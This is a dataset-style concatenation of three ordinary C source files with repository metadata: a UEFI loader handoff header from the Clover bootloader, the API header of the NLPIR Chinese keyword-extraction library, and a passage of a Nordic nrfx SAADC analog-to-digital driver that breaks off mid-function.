|
/CloverEFI/OsxEfiLdr/EfiLdrHandoff.h
|
3e5210f4384fd7bae64b536c2c9974c4d8927754
|
[
"BSD-2-Clause"
] |
permissive
|
CloverHackyColor/CloverBootloader
|
7042ca7dd6b513d22be591a295e49071ae1482ee
|
2711170df4f60b2ae5aa20add3e00f35cf57b7e5
|
refs/heads/master
| 2023-08-30T22:14:34.590134
| 2023-08-27T19:14:02
| 2023-08-27T19:14:02
| 205,810,121
| 4,734
| 770
|
BSD-2-Clause
| 2023-09-03T12:41:33
| 2019-09-02T08:22:14
|
C
|
UTF-8
|
C
| false
| false
| 1,822
|
h
|
EfiLdrHandoff.h
|
/*++
Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution. The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
Module Name:
EfiLdrHandoff.h
Abstract:
Revision History:
--*/
#ifndef _EFILDR_HANDOFF_H_
#define _EFILDR_HANDOFF_H_
#define EFILDR_BASE_SEGMENT 0x2000
#define EFILDR_LOAD_ADDRESS (EFILDR_BASE_SEGMENT << 4)
#define EFILDR_HEADER_ADDRESS (EFILDR_LOAD_ADDRESS+0x2000)
#define EFILDR_CB_VA 0x00
typedef struct _EFILDRHANDOFF {
UINTN MemDescCount;
EFI_MEMORY_DESCRIPTOR *MemDesc;
VOID *BfvBase;
UINTN BfvSize;
VOID *DxeIplImageBase;
UINTN DxeIplImageSize;
VOID *DxeCoreImageBase;
UINTN DxeCoreImageSize;
VOID *DxeCoreEntryPoint;
} EFILDRHANDOFF;
typedef struct {
UINT32 CheckSum;
UINT32 Offset;
UINT32 Length;
UINT8 FileName[52];
} EFILDR_IMAGE;
typedef struct {
UINT32 Signature;
UINT32 HeaderCheckSum;
UINT32 FileLength;
UINT32 NumberOfImages;
} EFILDR_HEADER;
#endif
|
92c626289baeb4accb3e8824b9514c02baac90d3
|
f9eafecfe36b8fb6f0e1a059f4f1c110d1c06ecd
|
/NLPIR SDK/KeyExtract/include/KeyExtract.h
|
04b1ec68d8d266631a995d3f8b566dfcbdc3c256
|
[] |
no_license
|
NLPIR-team/NLPIR
|
b20cbbe748c21f96834a27d6fb6f15906f03b3a2
|
6f308fe875a0c8e12049f5ecb16d3c6fb0dfb684
|
refs/heads/master
| 2023-08-04T10:43:57.381067
| 2023-07-07T04:57:37
| 2023-07-07T04:57:37
| 35,019,208
| 3,729
| 2,333
| null | 2020-10-28T09:50:09
| 2015-05-04T06:55:52
|
Java
|
GB18030
|
C
| false
| false
| 11,696
|
h
|
KeyExtract.h
|
/****************************************************************************
*
* NLPIR Chinese Keyword Extraxt System Copyright (c) 2000-2013
* Dr. Kevin Zhang (Hua-Ping Zhang)
* All rights reserved.
*
* This file is the confidential and proprietary property of
* Kevin Zhang and the possession or use of this file requires
* a written license from the author.
* Filename:
* Abstract:
* KeyExtract.h: definition of the NLPIR lexical analysis system API
* Author: Kevin Zhang
* Email: pipy_zhang@msn.com kevinzhang@bit.edu.cn
* Weibo: http://weibo.com/drkevinzhang
* Date: 2013-3-1
*
* Notes:
*
****************************************************************************/
#if !defined(__KEYEXTRACT_2013_LIB_INCLUDED__)
#define __KEYEXTRACT_2013_LIB_INCLUDED__
#ifdef OS_LINUX
#define KEYEXTRACT_API extern "C"
#else
#ifdef KEYEXTRACT_EXPORTS
#define KEYEXTRACT_API extern "C" __declspec(dllexport)
#else
#define KEYEXTRACT_API extern "C" __declspec(dllimport)
#endif
#endif
#define GBK_CODE 0//默认支持GBK编码
#define UTF8_CODE GBK_CODE+1//UTF8编码
#define BIG5_CODE GBK_CODE+2//BIG5编码
#define GBK_FANTI_CODE GBK_CODE+3//GBK编码,里面包含繁体字
#define OUTPUT_FORMAT_SHARP 0//正常的字符串按照#链接的输出新词结果
#define OUTPUT_FORMAT_JSON 1//正常的JSON字符串输出新词结果
#define OUTPUT_FORMAT_EXCEL 2//正常的CSV字符串输出新词结果,保存为csv格式即可采用Excel打开
/*********************************************************************
*
* Func Name : Init
*
* Description: Init KeyExtract
* The function must be invoked before any operation listed as following
*
* Parameters : const char * sInitDirPath=NULL
* sDataPath: Path where Data directory stored.
* the default value is NULL, it indicates the initial directory is current working directory path
*
* Returns : success or fail
* Author : Kevin Zhang
* History :
* 1.create 2013-2-6
*********************************************************************/
KEYEXTRACT_API int KeyExtract_Init(const char * sDataPath=0,int encode=GBK_CODE,const char*sLicenceCode=0);
/*********************************************************************
*
* Func Name : KeyExtract_Exit
*
* Description: Exist KeyExtract and free related buffer
* Exit the program and free memory
* The function must be invoked while you needn't any lexical anlysis
*
* Parameters : None
*
* Returns : success or fail
* Author : Kevin Zhang
* History :
* 1.create 2002-8-6
*********************************************************************/
KEYEXTRACT_API bool KeyExtract_Exit();
/*********************************************************************
*
* Func Name : KeyExtract_GetKeyWords
*
* Description: Extract keyword from sLine
*
* Parameters : sLine, the input paragraph
bArguOut,whether the keyword weight output
nMaxKeyLimt:maximum of key words, up to 50
* Returns : keywords list like:
* "科学发展观 宏观经济 " or
"科学发展观/n/23.80 宏观经济/n/12.20" with weight
分别表示 关键词/关键词词性/权重
*
* Author :
* History :
* 1.create 2012/11/12
*********************************************************************/
KEYEXTRACT_API const char * KeyExtract_GetKeyWords(const char *sLine,int nMaxKeyLimit=50, int nFormat = OUTPUT_FORMAT_SHARP);
/*********************************************************************
*
* Func Name : KeyExtract_GetFileKeyWords
*
* Description: Extract keyword from a text file
*
* Parameters : sFilename, the input text file name
bArguOut,whether the keyword weight output
nMaxKeyLimt:maximum of key words, up to 50
* Returns : keywords list like:
* "科学发展观 宏观经济 " or
* "科学发展观/n/23.80 宏观经济/n/12.20" with weight
* 分别表示 关键词/关键词词性/权重
*
* Author :
* History :
* 1.create 2012/11/12
*********************************************************************/
KEYEXTRACT_API const char * KeyExtract_GetFileKeyWords(const char *sFilename,int nMaxKeyLimit=50, int nFormat = OUTPUT_FORMAT_SHARP);
/*********************************************************************
*
* Func Name : KeyExtract_ImportUserDict
*
* Description: Import keyword user defined dictionary
* Parameters : Text filename for user dictionary, each line for a imported keyword
*
* Returns : The number of lexical entry imported successfully
* Author : Kevin Zhang
* History :
* 1.create 2014-6-26
*********************************************************************/
KEYEXTRACT_API unsigned int KeyExtract_ImportUserDict(const char *sFilename,bool bOverwrite=false);
/*********************************************************************
*
* Func Name : KeyExtract_AddUserWord
*
* Description: add a word to the user dictionary ,example:
* 一带一路 key
* 需要作为关键词的,标引前缀必须为key
* Parameters : const char *sWord: 加入到临时用户词典重点词与词性,用空格分割
*
* Returns : 1,true ; 0,false
*
* Author :
* History :
* 1.create 2017/6/3
*********************************************************************/
KEYEXTRACT_API int KeyExtract_AddUserWord(const char *sWord);
/*********************************************************************
*
* Func Name : KeyExtract_CleanUserWord
*
* Description: Clean all temporary added user words
*
* Parameters :
* Returns : 1,true ; 0,false
*
* Author :
* History :
* 1.create 2017/6/3
*********************************************************************/
KEYEXTRACT_API int KeyExtract_CleanUserWord();
/*********************************************************************
*
* Func Name : KeyExtract_SaveTheUsrDic
*
* Description: Save dictionary to file
*
* Parameters :
*
* Returns : 1,true; 2,false
*
* Author :
* History :
* 1.create 2017/6/3
*********************************************************************/
KEYEXTRACT_API int KeyExtract_SaveTheUsrDic();
/*********************************************************************
*
* Func Name : KeyExtract_DelUsrWord
*
* Description: delete a word from the user dictionary
*
* Parameters :
* Returns : -1, the word not exist in the user dictionary; else, the handle of the word deleted
*
* Author :
* History :
* 1.create 2017/6/3
*********************************************************************/
KEYEXTRACT_API int KeyExtract_DelUsrWord(const char *sWord);
/*********************************************************************
*
* Func Name : KeyExtract_CleanCurrentUserWord
*
* Description: Clean all Current temporary added user words and restore previous stored data
*
* Parameters :
*
* Returns : 1,true ; 0,false
*
* Author :
* History :
* 1.create 2021/6/19
*********************************************************************/
KEYEXTRACT_API int KeyExtract_CleanCurrentUserWord();
/*********************************************************************
*
* Func Name : KeyExtract_ImportKeyBlackList
*
* Description: Import keyword black list
* Parameters : sFilename: Text filename for user defined blacklist dictionary, each line for a stop keyword
* sPOSBlacklist: 停用的词性列表,即列为该词性列表访问的词不纳入关键词范围,
* 如设置为#nr#ns#表示nr,ns不作为关键词
* Returns : The number of lexical entry imported successfully
* Author : Kevin Zhang
* History :
* 1.create 2003-11-28
*********************************************************************/
KEYEXTRACT_API unsigned int KeyExtract_ImportKeyBlackList(const char *sFilename, const char *sPOSBlacklist = 0);
/*********************************************************************
*
* Func Name : KeyExtract_GetLastErrorMsg
*
* Description: GetLastErrorMessage
*
*
* Parameters : void
*
*
* Returns : the result buffer pointer
*
* Author : Kevin Zhang
* History :
* 1.create 2014-2-27
*********************************************************************/
KEYEXTRACT_API const char * KeyExtract_GetLastErrorMsg();
/*********************************************************************
*
* 以下函数为2013版本专门针对关键词批量发现的过程,一般建议脱机实现,不宜在线处理
*********************************************************************/
/*********************************************************************
*
* Func Name : KeyExtract_Batch_Start
*
* Description: 启动关键词识别
*
* Parameters : None
* Returns : bool, true:success, false:fail
*
* Author : Kevin Zhang
* History :
* 1.create 2013/11/23
*********************************************************************/
KEYEXTRACT_API int KeyExtract_Batch_Start();//New Word Indentification Start
/*********************************************************************
*
* Func Name : KeyExtract_Batch_AddFile
*
* Description: 往关键词识别系统中添加待识别关键词的文本文件
* 需要在运行KeyExtract_Batch_Start()之后,才有效
*
* Parameters : const char *sFilename:文件名
* Returns : bool, true:success, false:fail
*
* Author : Kevin Zhang
* History :
* 1.create 20132/11/23
*********************************************************************/
KEYEXTRACT_API unsigned long KeyExtract_Batch_AddFile(const char *sFilename);
/*********************************************************************
*
* Func Name : KeyExtract_Batch_AddMem
*
* Description: 往关键词识别系统中添加一段待识别关键词的内存
* 需要在运行KeyExtract_Batch_Start()之后,才有效
*
* Parameters : const char *sFilename:文件名
* Returns : bool, true:success, false:fail
*
* Author : Kevin Zhang
* History :
* 1.create 2013/11/23
*********************************************************************/
KEYEXTRACT_API unsigned long KeyExtract_Batch_AddMem(const char *sText);
/*********************************************************************
*
* Func Name : KeyExtract_Batch_Complete
*
* Description: 关键词识别添加内容结束
* 需要在运行KeyExtract_Batch_Start()之后,才有效
*
* Parameters : None
* Returns : bool, true:success, false:fail
*
* Author : Kevin Zhang
* History :
* 1.create 2013/11/23
*********************************************************************/
KEYEXTRACT_API int KeyExtract_Batch_Complete();//文件或者内存导入结束
/*********************************************************************
*
* Func Name : KeyExtract_Batch_GetResult
*
* Description: 获取关键词识别的结果
* 需要在运行KeyExtract_Batch_Complete()之后,才有效
*
* Parameters : bWeightOut:是否需要输出每个关键词的权重参数
*
* Returns : 输出格式为
* 【关键词1】 【权重1】 【关键词2】 【权重2】 ...
*
* Author : Kevin Zhang
* History :
* 1.create 2013/11/23
*********************************************************************/
KEYEXTRACT_API const char * KeyExtract_Batch_GetResult(bool bWeightOut = false);//输出关键词识别结果
#endif//__KEYEXTRACT_2013_LIB_INCLUDED__
|
c09f37052ce2a717fcb200d007d3a8a337c294b2
|
fb47ab6337a71029dee71933e449cf7f6805fc0f
|
/external/platform/nrfx/drivers/src/nrfx_saadc.c
|
f9d931b437845c8978eb6ab83820e8312d58e142
|
[
"MIT",
"BSD-3-Clause"
] |
permissive
|
littlekernel/lk
|
7e7ba50b87b1f2e0b6e2f052c59249825c91975b
|
30dc320054f70910e1c1ee40a6948ee99672acec
|
refs/heads/master
| 2023-09-02T00:47:52.203963
| 2023-06-21T22:42:35
| 2023-06-21T22:42:35
| 3,058,456
| 3,077
| 618
|
MIT
| 2023-08-30T09:41:31
| 2011-12-27T19:19:36
|
C
|
UTF-8
|
C
| false
| false
| 29,660
|
c
|
nrfx_saadc.c
|
/*
* Copyright (c) 2015 - 2020, Nordic Semiconductor ASA
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <nrfx.h>
#if NRFX_CHECK(NRFX_SAADC_ENABLED)
#include <nrfx_saadc.h>
#define NRFX_LOG_MODULE SAADC
#include <nrfx_log.h>
#if defined(NRF52_SERIES) && !defined(USE_WORKAROUND_FOR_ANOMALY_212)
// ANOMALY 212 - SAADC events are missing when switching from single channel
// to multi channel configuration with burst enabled.
#define USE_WORKAROUND_FOR_ANOMALY_212 1
#endif
#if defined(NRF53_SERIES) || defined(NRF91_SERIES)
// Make sure that SAADC is stopped before channel configuration.
#define STOP_SAADC_ON_CHANNEL_CONFIG 1
// Make sure that SAADC calibration samples do not affect next conversions.
#define INTERCEPT_SAADC_CALIBRATION_SAMPLES 1
#endif
/** @brief SAADC driver states.*/
typedef enum
{
NRF_SAADC_STATE_UNINITIALIZED = 0,
NRF_SAADC_STATE_IDLE,
NRF_SAADC_STATE_SIMPLE_MODE,
NRF_SAADC_STATE_SIMPLE_MODE_SAMPLE,
NRF_SAADC_STATE_ADV_MODE,
NRF_SAADC_STATE_ADV_MODE_SAMPLE,
NRF_SAADC_STATE_ADV_MODE_SAMPLE_STARTED,
NRF_SAADC_STATE_CALIBRATION
} nrf_saadc_state_t;
/** @brief SAADC control block.*/
typedef struct
{
nrfx_saadc_event_handler_t event_handler; ///< Event handler function pointer.
nrf_saadc_value_t * p_buffer_primary; ///< Pointer to the primary result buffer.
nrf_saadc_value_t * p_buffer_secondary; ///< Pointer to the secondary result buffer.
#if NRFX_CHECK(INTERCEPT_SAADC_CALIBRATION_SAMPLES)
nrf_saadc_value_t calib_samples[6]; ///< Scratch buffer for calibration samples.
#endif
uint16_t size_primary; ///< Size of the primary result buffer.
uint16_t size_secondary; ///< Size of the secondary result buffer.
uint16_t samples_converted; ///< Number of samples present in result buffer when in the blocking mode.
nrf_saadc_input_t channels_pselp[SAADC_CH_NUM]; ///< Array holding each channel positive input.
nrf_saadc_input_t channels_pseln[SAADC_CH_NUM]; ///< Array holding each channel negative input.
nrf_saadc_state_t saadc_state; ///< State of the SAADC driver.
uint8_t channels_configured; ///< Bitmask of the configured channels.
uint8_t channels_activated; ///< Bitmask of the activated channels.
uint8_t channels_activated_count; ///< Number of the activated channels.
uint8_t limits_low_activated; ///< Bitmask of the activated low limits.
uint8_t limits_high_activated; ///< Bitmask of the activated high limits.
bool start_on_end; ///< Flag indicating if the START task is to be triggered on the END event.
bool oversampling_without_burst; ///< Flag indicating whether oversampling without burst is configured.
} nrfx_saadc_cb_t;
static nrfx_saadc_cb_t m_cb;
#if NRFX_CHECK(USE_WORKAROUND_FOR_ANOMALY_212)
static void saadc_anomaly_212_workaround_apply(void)
{
uint32_t c[SAADC_CH_NUM];
uint32_t l[SAADC_CH_NUM];
for (uint32_t i = 0; i < SAADC_CH_NUM; i++)
{
c[i] = NRF_SAADC->CH[i].CONFIG;
l[i] = NRF_SAADC->CH[i].LIMIT;
}
nrf_saadc_resolution_t resolution = nrf_saadc_resolution_get(NRF_SAADC);
uint32_t u640 = *(volatile uint32_t *)0x40007640;
uint32_t u644 = *(volatile uint32_t *)0x40007644;
uint32_t u648 = *(volatile uint32_t *)0x40007648;
*(volatile uint32_t *)0x40007FFC = 0;
*(volatile uint32_t *)0x40007FFC = 1;
for (uint32_t i = 0; i < SAADC_CH_NUM; i++)
{
NRF_SAADC->CH[i].CONFIG = c[i];
NRF_SAADC->CH[i].LIMIT = l[i];
}
*(volatile uint32_t *)0x40007640 = u640;
*(volatile uint32_t *)0x40007644 = u644;
*(volatile uint32_t *)0x40007648 = u648;
nrf_saadc_resolution_set(NRF_SAADC, resolution);
}
#endif // NRFX_CHECK(USE_WORKAROUND_FOR_ANOMALY_212)
static nrfx_err_t saadc_channel_count_get(uint32_t ch_to_activate_mask,
uint8_t * p_active_ch_count)
{
NRFX_ASSERT(ch_to_activate_mask);
NRFX_ASSERT(ch_to_activate_mask < (1 << SAADC_CH_NUM));
uint8_t active_ch_count = 0;
for (uint32_t ch_mask = 1; ch_mask < (1 << SAADC_CH_NUM); ch_mask <<= 1)
{
if (ch_to_activate_mask & ch_mask)
{
// Check if requested channels are configured.
if (!(m_cb.channels_configured & ch_mask))
{
return NRFX_ERROR_INVALID_PARAM;
}
active_ch_count++;
}
}
*p_active_ch_count = active_ch_count;
return NRFX_SUCCESS;
}
static bool saadc_busy_check(void)
{
if ((m_cb.saadc_state == NRF_SAADC_STATE_IDLE) ||
(m_cb.saadc_state == NRF_SAADC_STATE_ADV_MODE) ||
(m_cb.saadc_state == NRF_SAADC_STATE_SIMPLE_MODE))
{
return false;
}
else
{
return true;
}
}
static void saadc_generic_mode_set(uint32_t ch_to_activate_mask,
nrf_saadc_resolution_t resolution,
nrf_saadc_oversample_t oversampling,
nrf_saadc_burst_t burst,
nrfx_saadc_event_handler_t event_handler)
{
#if NRFX_CHECK(USE_WORKAROUND_FOR_ANOMALY_212)
saadc_anomaly_212_workaround_apply();
#endif
#if NRFX_CHECK(STOP_SAADC_ON_CHANNEL_CONFIG)
nrf_saadc_int_disable(NRF_SAADC, NRF_SAADC_INT_STOPPED);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_STOP);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_STOPPED))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STOPPED);
#endif
m_cb.limits_low_activated = 0;
m_cb.limits_high_activated = 0;
m_cb.p_buffer_primary = NULL;
m_cb.p_buffer_secondary = NULL;
m_cb.event_handler = event_handler;
m_cb.channels_activated = ch_to_activate_mask;
m_cb.samples_converted = 0;
nrf_saadc_resolution_set(NRF_SAADC, resolution);
nrf_saadc_oversample_set(NRF_SAADC, oversampling);
if (event_handler)
{
nrf_saadc_int_set(NRF_SAADC,
NRF_SAADC_INT_STARTED |
NRF_SAADC_INT_STOPPED |
NRF_SAADC_INT_END);
}
else
{
nrf_saadc_int_set(NRF_SAADC, 0);
}
for (uint32_t ch_pos = 0; ch_pos < SAADC_CH_NUM; ch_pos++)
{
nrf_saadc_burst_t burst_to_set;
nrf_saadc_input_t pselp;
nrf_saadc_input_t pseln;
if (ch_to_activate_mask & (1 << ch_pos))
{
pselp = m_cb.channels_pselp[ch_pos];
pseln = m_cb.channels_pseln[ch_pos];
burst_to_set = burst;
}
else
{
pselp = NRF_SAADC_INPUT_DISABLED;
pseln = NRF_SAADC_INPUT_DISABLED;
burst_to_set = NRF_SAADC_BURST_DISABLED;
}
nrf_saadc_burst_set(NRF_SAADC, ch_pos, burst_to_set);
nrf_saadc_channel_input_set(NRF_SAADC, ch_pos, pselp, pseln);
}
}
nrfx_err_t nrfx_saadc_init(uint8_t interrupt_priority)
{
nrfx_err_t err_code;
if (m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED)
{
err_code = NRFX_ERROR_INVALID_STATE;
NRFX_LOG_WARNING("Function: %s, error code: %s.",
__func__,
NRFX_LOG_ERROR_STRING_GET(err_code));
return err_code;
}
m_cb.saadc_state = NRF_SAADC_STATE_IDLE;
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STARTED);
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STOPPED);
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_END);
nrf_saadc_int_set(NRF_SAADC, 0);
NRFX_IRQ_ENABLE(SAADC_IRQn);
NRFX_IRQ_PRIORITY_SET(SAADC_IRQn, interrupt_priority);
err_code = NRFX_SUCCESS;
NRFX_LOG_INFO("Function: %s, error code: %s.", __func__, NRFX_LOG_ERROR_STRING_GET(err_code));
return err_code;
}
void nrfx_saadc_uninit(void)
{
nrfx_saadc_abort();
NRFX_IRQ_DISABLE(SAADC_IRQn);
nrf_saadc_disable(NRF_SAADC);
m_cb.saadc_state = NRF_SAADC_STATE_UNINITIALIZED;
}
nrfx_err_t nrfx_saadc_channels_config(nrfx_saadc_channel_t const * p_channels,
uint32_t channel_count)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
NRFX_ASSERT(channel_count <= SAADC_CH_NUM);
if (saadc_busy_check())
{
return NRFX_ERROR_BUSY;
}
m_cb.channels_configured = 0;
uint8_t i = 0;
for (; i < SAADC_CH_NUM; i++)
{
m_cb.channels_pselp[i] = NRF_SAADC_INPUT_DISABLED;
m_cb.channels_pseln[i] = NRF_SAADC_INPUT_DISABLED;
}
for (i = 0; i < channel_count; i++)
{
if (m_cb.channels_configured & (1 << p_channels[i].channel_index))
{
// This channel is already configured!
return NRFX_ERROR_INVALID_PARAM;
}
nrf_saadc_channel_init(NRF_SAADC,
p_channels[i].channel_index,
&p_channels[i].channel_config);
NRFX_ASSERT(p_channels[i].pin_p != NRF_SAADC_INPUT_DISABLED);
m_cb.channels_pselp[p_channels[i].channel_index] = p_channels[i].pin_p;
m_cb.channels_pseln[p_channels[i].channel_index] = p_channels[i].pin_n;
m_cb.channels_configured |= 1U << p_channels[i].channel_index;
}
return NRFX_SUCCESS;
}
nrfx_err_t nrfx_saadc_simple_mode_set(uint32_t channel_mask,
nrf_saadc_resolution_t resolution,
nrf_saadc_oversample_t oversampling,
nrfx_saadc_event_handler_t event_handler)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
if (saadc_busy_check())
{
return NRFX_ERROR_BUSY;
}
uint8_t active_ch_count;
nrfx_err_t err = saadc_channel_count_get(channel_mask, &active_ch_count);
if (err != NRFX_SUCCESS)
{
return err;
}
nrf_saadc_burst_t burst;
if (oversampling == NRF_SAADC_OVERSAMPLE_DISABLED)
{
burst = NRF_SAADC_BURST_DISABLED;
}
else
{
// Burst is implicitly enabled if oversampling is enabled.
burst = NRF_SAADC_BURST_ENABLED;
}
saadc_generic_mode_set(channel_mask,
resolution,
oversampling,
burst,
event_handler);
m_cb.channels_activated_count = active_ch_count;
m_cb.saadc_state = NRF_SAADC_STATE_SIMPLE_MODE;
return NRFX_SUCCESS;
}
nrfx_err_t nrfx_saadc_advanced_mode_set(uint32_t channel_mask,
nrf_saadc_resolution_t resolution,
nrfx_saadc_adv_config_t const * p_config,
nrfx_saadc_event_handler_t event_handler)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
NRFX_ASSERT(p_config);
if (saadc_busy_check())
{
return NRFX_ERROR_BUSY;
}
uint8_t active_ch_count;
nrfx_err_t err = saadc_channel_count_get(channel_mask, &active_ch_count);
if (err != NRFX_SUCCESS)
{
return err;
}
if ((p_config->internal_timer_cc) && ((active_ch_count > 1) || (!event_handler)))
{
return NRFX_ERROR_NOT_SUPPORTED;
}
bool oversampling_without_burst = false;
if ((p_config->oversampling != NRF_SAADC_OVERSAMPLE_DISABLED) &&
(p_config->burst == NRF_SAADC_BURST_DISABLED))
{
if (active_ch_count > 1)
{
// Oversampling without burst is possible only on single channel.
return NRFX_ERROR_NOT_SUPPORTED;
}
else
{
oversampling_without_burst = true;
}
}
saadc_generic_mode_set(channel_mask,
resolution,
p_config->oversampling,
p_config->burst,
event_handler);
if (p_config->internal_timer_cc)
{
nrf_saadc_continuous_mode_enable(NRF_SAADC, p_config->internal_timer_cc);
}
else
{
nrf_saadc_continuous_mode_disable(NRF_SAADC);
}
m_cb.channels_activated_count = active_ch_count;
m_cb.start_on_end = p_config->start_on_end;
m_cb.oversampling_without_burst = oversampling_without_burst;
m_cb.saadc_state = NRF_SAADC_STATE_ADV_MODE;
return NRFX_SUCCESS;
}
nrfx_err_t nrfx_saadc_buffer_set(nrf_saadc_value_t * p_buffer, uint16_t size)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
if (m_cb.p_buffer_secondary)
{
return NRFX_ERROR_ALREADY_INITIALIZED;
}
if (!nrfx_is_in_ram(p_buffer))
{
return NRFX_ERROR_INVALID_ADDR;
}
if ((size % m_cb.channels_activated_count != 0) ||
(size >= (1 << SAADC_EASYDMA_MAXCNT_SIZE)) ||
(!size))
{
return NRFX_ERROR_INVALID_LENGTH;
}
switch (m_cb.saadc_state)
{
case NRF_SAADC_STATE_SIMPLE_MODE:
if (m_cb.channels_activated_count != size)
{
return NRFX_ERROR_INVALID_LENGTH;
}
m_cb.size_primary = size;
m_cb.p_buffer_primary = p_buffer;
break;
case NRF_SAADC_STATE_ADV_MODE_SAMPLE_STARTED:
nrf_saadc_buffer_init(NRF_SAADC, p_buffer, size);
/* fall-through */
case NRF_SAADC_STATE_ADV_MODE:
/* fall-through */
case NRF_SAADC_STATE_ADV_MODE_SAMPLE:
if (m_cb.p_buffer_primary)
{
m_cb.size_secondary = size;
m_cb.p_buffer_secondary = p_buffer;
}
else
{
m_cb.size_primary = size;
m_cb.p_buffer_primary = p_buffer;
}
break;
default:
return NRFX_ERROR_INVALID_STATE;
}
return NRFX_SUCCESS;
}
nrfx_err_t nrfx_saadc_mode_trigger(void)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_IDLE);
if (!m_cb.p_buffer_primary)
{
return NRFX_ERROR_NO_MEM;
}
nrfx_err_t result = NRFX_SUCCESS;
switch (m_cb.saadc_state)
{
case NRF_SAADC_STATE_SIMPLE_MODE:
nrf_saadc_enable(NRF_SAADC);
// When in simple blocking or non-blocking mode, buffer size is equal to activated channel count.
// Single SAMPLE task is enough to obtain one sample on each activated channel.
// This will result in buffer being filled with samples and therefore END event will appear.
nrf_saadc_buffer_init(NRF_SAADC, m_cb.p_buffer_primary, m_cb.size_primary);
if (m_cb.event_handler)
{
m_cb.saadc_state = NRF_SAADC_STATE_SIMPLE_MODE_SAMPLE;
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
}
else
{
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_STARTED))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STARTED);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_SAMPLE);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_END))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_END);
nrf_saadc_disable(NRF_SAADC);
}
break;
case NRF_SAADC_STATE_ADV_MODE:
nrf_saadc_enable(NRF_SAADC);
if (m_cb.event_handler)
{
// When in advanced non-blocking mode, latch whole buffer in EasyDMA.
// END event will arrive when whole buffer is filled with samples.
m_cb.saadc_state = NRF_SAADC_STATE_ADV_MODE_SAMPLE;
nrf_saadc_buffer_init(NRF_SAADC, m_cb.p_buffer_primary, m_cb.size_primary);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
break;
}
// When in advanced blocking mode, latch single chunk of buffer in EasyDMA.
// Each chunk consists of single sample from each activated channels.
// END event will arrive when single chunk is filled with samples.
nrf_saadc_buffer_init(NRF_SAADC,
&m_cb.p_buffer_primary[m_cb.samples_converted],
m_cb.channels_activated_count);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_STARTED))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STARTED);
if (m_cb.oversampling_without_burst)
{
// Oversampling without burst is possible only on single channel.
// In this configuration more than one SAMPLE task is needed to obtain single sample.
uint32_t samples_to_take =
nrf_saadc_oversample_sample_count_get(nrf_saadc_oversample_get(NRF_SAADC));
for (uint32_t sample_idx = 0; sample_idx < samples_to_take; sample_idx++)
{
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_DONE);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_SAMPLE);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_DONE))
{}
}
}
else
{
// Single SAMPLE task is enough to obtain one sample on each activated channel.
// This will result in chunk being filled with samples and therefore END event will appear.
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_SAMPLE);
}
